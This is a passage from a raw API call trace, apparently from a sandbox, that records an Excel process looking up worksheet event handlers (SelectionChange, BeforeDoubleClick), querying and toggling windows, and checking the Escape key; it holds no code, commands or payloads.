pdwHelpContext=0x0, pBstrHelpFile=0x82000000d6) returned 0x0 [0132.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0132.731] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0132.731] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0132.731] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0132.732] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0132.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0132.732] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0132.732] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0132.732] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0132.754] GetCurrentThreadId () returned 0x8fc [0132.754] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0132.754] GetDesktopWindow () returned 0x10010 [0132.754] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0132.754] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0132.754] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0132.754] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0132.754] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0132.754] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0132.754] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0132.754] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0132.754] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0132.754] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0132.754] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0132.754] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0132.754] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0132.754] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0132.754] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0132.754] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0132.754] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0132.754] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0132.754] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0132.754] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0132.754] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0132.754] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0132.754] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0132.754] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0132.755] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0132.755] IsWindowEnabled (hWnd=0x202b0) returned 1 [0132.755] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0132.755] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0132.755] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0132.755] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0132.755] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0132.755] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0132.755] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0132.755] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0132.755] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0132.755] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0132.755] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0132.755] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0132.755] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0132.755] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0132.755] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0132.755] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0132.755] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0132.755] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0132.755] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0132.755] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0132.755] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0132.755] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbb91ae0 [0132.756] IMalloc:Free (This=0x7feffc15380, pv=0xbb91ae0) [0133.047] GetAsyncKeyState (vKey=27) returned 0 [0133.047] GetCurrentThreadId () returned 0x8fc [0133.047] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0133.047] GetDesktopWindow () returned 0x10010 [0133.047] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0133.047] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0133.047] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0133.047] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0133.047] GetWindowLongPtrA (hWnd=0xd021c, nIndex=-6) returned 0x7feef2c0000 [0133.047] GetWindowLongPtrA (hWnd=0xd021c, nIndex=-6) returned 0x7feef2c0000 [0133.047] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0133.047] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0133.048] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0133.048] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0133.048] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0133.048] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0133.048] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0133.048] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0133.048] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0133.048] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0133.048] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0133.048] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0133.048] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0133.048] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0133.048] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0133.048] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0133.048] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0133.048] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0133.048] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0133.048] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0133.048] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0133.048] IsWindowEnabled (hWnd=0x202b0) returned 0 [0133.048] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0133.048] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0133.048] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0133.049] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0133.049] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0133.049] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0133.049] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0133.049] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0133.049] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0133.049] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0133.049] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0133.049] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0133.049] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0133.049] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0133.049] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0133.049] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0133.049] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0133.049] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0133.049] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0133.049] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0133.049] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0133.049] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbb90ae0 [0133.050] IMalloc:Free (This=0x7feffc15380, pv=0xbb90ae0) [0136.233] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0136.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0136.233] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0136.233] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0136.233] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0136.246] GetCurrentThreadId () returned 0x8fc [0136.246] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0136.246] GetDesktopWindow () returned 0x10010 [0136.247] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0136.247] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0136.247] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0136.247] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0136.247] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0136.247] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0136.247] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0136.247] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0136.247] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0136.247] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0136.247] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0136.247] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0136.247] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0136.247] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0136.247] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0136.247] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0136.247] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0136.247] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0136.247] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0136.248] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0136.248] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0136.248] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0136.248] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0136.248] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0136.248] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0136.248] IsWindowEnabled (hWnd=0x202b0) returned 1 [0136.248] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0136.248] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0136.248] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0136.248] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0136.248] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0136.248] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0136.248] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0136.248] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0136.248] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0136.248] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0136.248] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0136.248] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0136.248] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0136.248] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0136.248] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0136.248] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0136.249] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0136.249] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0136.249] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0136.249] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0136.249] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0136.249] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbb8fee0 [0136.249] IMalloc:Free (This=0x7feffc15380, pv=0xbb8fee0) [0136.542] GetAsyncKeyState (vKey=27) returned 0 [0136.542] GetCurrentThreadId () returned 0x8fc [0136.542] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0136.542] GetDesktopWindow () returned 0x10010 [0136.542] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0136.542] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0136.542] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0136.542] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0136.542] GetWindowLongPtrA (hWnd=0xc02c6, nIndex=-6) returned 0x7feef2c0000 [0136.542] GetWindowLongPtrA (hWnd=0xc02c6, nIndex=-6) returned 0x7feef2c0000 [0136.542] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0136.542] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0136.542] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0136.542] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0136.543] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0136.543] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0136.543] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0136.543] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0136.543] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0136.543] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0136.543] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0136.543] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0136.543] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0136.543] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0136.543] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0136.543] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0136.543] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0136.543] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0136.543] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0136.543] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0136.543] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0136.543] IsWindowEnabled (hWnd=0x202b0) returned 0 [0136.543] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0136.543] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0136.543] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0136.543] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0136.544] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0136.544] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0136.544] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0136.544] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0136.544] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0136.544] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0136.544] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0136.544] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0136.544] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0136.544] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0136.544] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0136.544] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0136.544] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0136.544] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0136.544] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0136.544] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0136.544] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0136.544] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbb91da0 [0136.544] IMalloc:Free (This=0x7feffc15380, pv=0xbb91da0) [0139.602] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0139.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0139.602] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0139.602] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0139.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0139.615] GetCurrentThreadId () returned 0x8fc [0139.615] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0139.615] GetDesktopWindow () returned 0x10010 [0139.615] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0139.615] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0139.615] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0139.615] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0139.615] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0139.615] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0139.615] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0139.615] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0139.615] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0139.615] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0139.615] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0139.615] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0139.615] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0139.615] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0139.615] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0139.615] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0139.616] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0139.616] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0139.616] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0139.616] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0139.616] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0139.616] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0139.616] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0139.616] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0139.616] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0139.616] IsWindowEnabled (hWnd=0x202b0) returned 1 [0139.616] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0139.616] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0139.616] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0139.616] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0139.616] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0139.616] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0139.616] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0139.616] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0139.616] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0139.616] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0139.616] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0139.617] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0139.617] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0139.617] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0139.617] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0139.617] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0139.617] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0139.617] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0139.617] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0139.617] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0139.617] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0139.617] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbb91e20 [0139.617] IMalloc:Free (This=0x7feffc15380, pv=0xbb91e20) [0139.942] GetAsyncKeyState (vKey=27) returned 0 [0139.943] GetCurrentThreadId () returned 0x8fc [0139.943] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0139.943] GetDesktopWindow () returned 0x10010 [0139.943] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0139.943] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0139.943] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0139.943] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0139.944] GetWindowLongPtrA (hWnd=0x802e6, nIndex=-6) returned 0x7feef2c0000 [0139.944] GetWindowLongPtrA (hWnd=0x802e6, nIndex=-6) returned 0x7feef2c0000 [0139.944] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0139.944] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0139.944] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0139.944] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0139.944] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0139.944] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0139.944] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0139.944] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0139.944] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0139.944] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0139.944] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0139.944] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0139.945] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0139.945] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0139.945] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0139.945] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0139.945] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0139.945] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0139.945] GetWindowLongPtrA (hWnd=0x10204, 